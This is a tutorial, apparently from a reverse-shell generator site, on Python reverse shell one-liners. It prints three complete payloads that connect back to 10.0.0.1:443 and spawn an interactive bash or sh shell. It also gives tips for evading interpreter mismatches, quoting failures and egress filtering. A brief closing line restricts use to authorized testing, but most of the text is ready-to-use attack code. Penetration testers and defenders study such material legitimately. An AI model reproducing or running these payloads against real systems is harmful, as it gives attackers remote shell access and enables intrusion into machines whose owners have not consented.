Python Reverse Shell: One-Liners That Survive python vs python3
How the python reverse shell one-liner works with socket and pty, why the python/python3 split breaks payloads, and a version-agnostic fallback.
Python is the most portable reverse shell option on Linux, because if a box does anything beyond the absolute minimum it usually has a Python interpreter. The catch is the python versus python3 split, which silently kills more payloads than any firewall. This post explains the standard one-liner, why it works, and how to make it run regardless of which interpreter exists.
The Standard One-Liner
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")'
Decoded:
socket.socket(...)thens.connect((host, port))opens a TCP connection back to your listener.os.dup2(s.fileno(), 0/1/2)is the heart of it: it duplicates the socket onto file descriptors 0, 1, and 2 — stdin, stdout, stderr. After this, anything the shell reads or writes goes over the network.pty.spawn("/bin/bash")launches bash attached to those descriptors. Crucially,pty.spawngives you a pseudo-terminal, so you start with a far more usable shell than the raw bash/dev/tcptrick — job control and interactive programs behave.
That pty upgrade is why many testers prefer the python payload as their first shell: it lands closer to a real TTY. You still may want to fully upgrade it (see upgrading a reverse shell), but you start ahead.
The python vs python3 Trap
For years python meant Python 2. On most current systems python either means Python 3 or does not exist at all — only python3 does. So:
- A payload that calls
pythonfails on apython3-only host. - A payload that calls
python3fails on an old host that only shipspython(Python 2).
The one-liner above is valid in both Python 2 and 3, so the only variable is the interpreter name. When you do not know what the target has, probe first or use a version-agnostic invocation:
(command -v python3 || command -v python) | head -1
Then call whichever it reports. A reverse shell generator lets you flip between python and python3 without rewriting the payload, which is the fast way to handle an unknown target.
A Shorter Variant Without pty
If pty is unavailable or you just want output, the minimal form drops the terminal:
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.0.0.1",443));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/sh")'
And the truly stripped-down version using only subprocess (no interactive TTY, good for blind execution):
python3 -c 'import socket,subprocess;s=socket.socket();s.connect(("10.0.0.1",443));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
When It Doesn't Connect
- Wrong interpreter name — the number-one cause. Confirm
pythonvspython3. - Quoting — the payload is wrapped in single quotes; if it passes through another single-quoted layer (a web param, a YAML field), the quoting collapses. See payload quoting.
- Egress filtering — prefer
443/80. - Listener mismatch — confirm your listener with choosing a listener.
The complete checklist lives in why reverse shells fail.
Generate a Version-Matched Payload
The reverse shell generator produces the python reverse shell for the interpreter and shell you select, pre-filled with your LHOST/LPORT and paired with the right listener — so the python/python3 mistake never reaches the target.
Authorized Testing Only
Use these payloads exclusively against systems you own or are explicitly authorized to test. The code is the same in a lab and in the wild; permission is what makes it legitimate.